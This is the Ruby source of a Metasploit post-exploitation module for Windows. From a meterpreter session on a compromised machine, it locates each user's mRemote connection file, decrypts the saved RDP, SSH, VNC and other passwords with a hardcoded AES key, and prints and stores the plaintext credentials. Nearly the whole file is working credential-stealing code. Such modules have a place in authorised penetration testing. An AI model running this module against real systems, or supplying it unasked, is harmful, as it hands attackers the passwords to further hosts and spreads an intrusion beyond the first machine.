metasploit-framework/modules/post/windows/gather/credentials/mremote.rb

110 lines
3.0 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/post/windows/user_profiles'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::UserProfiles
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather mRemote Saved Password Extraction',
'Description' => %q{
This module extracts saved passwords from mRemote. mRemote stores
connections for RDP, VNC, SSH, Telnet, rlogin and other protocols. It saves
the passwords in an encrypted format. The module will extract the connection
info and decrypt the saved passwords.
},
'License' => MSF_LICENSE,
'Author' =>
[
'TheLightCosine <thelightcosine[at]gmail.com>',
'hdm', #Helped write the Decryption Routine
'Rob Fuller <mubix[at]hak5.org>' #Helped write the Decryption Routine
],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
@secret= "\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c"
grab_user_profiles().each do |user|
next if user['LocalAppData'] == nil
tmpath= user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
get_xml(tmpath)
end
end
def get_xml(path)
condata=""
begin
xmlexists = client.fs.file.stat(path)
connections = client.fs.file.new(path,'r')
until connections.eof
condata << connections.read
end
parse_xml(condata)
print_status("Finished processing #{path}")
rescue
print_status("The file #{path} either could not be read or does not exist")
end
end
def parse_xml(data)
mxml= REXML::Document.new(data).root
mxml.elements.to_a("//Node").each do |node|
host = node.attributes['Hostname']
port = node.attributes['Port']
proto = node.attributes['Protocol']
user = node.attributes['Username']
domain = node.attributes['Domain']
epassword= node.attributes['Password']
next if epassword == nil or epassword== ""
decoded = epassword.unpack("m*")[0]
iv= decoded.slice!(0,16)
pass=decrypt(decoded, @secret , iv, "AES-128-CBC")
print_good("HOST: #{host} PORT: #{port} PROTOCOL: #{proto} Domain: #{domain} USER: #{user} PASS: #{pass}")
user= "#{domain}\\#{user}" unless domain.nil? or domain.empty?
report_auth_info(
:host => host,
:port => port,
:sname => proto,
:source_id => session.db_record.id,
:source_type => "exploit",
:user => user,
:pass => pass)
end
end
def decrypt(encrypted_data, key, iv, cipher_type)
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
aes.decrypt
aes.key = key
aes.iv = iv if iv != nil
aes.update(encrypted_data) + aes.final
end
end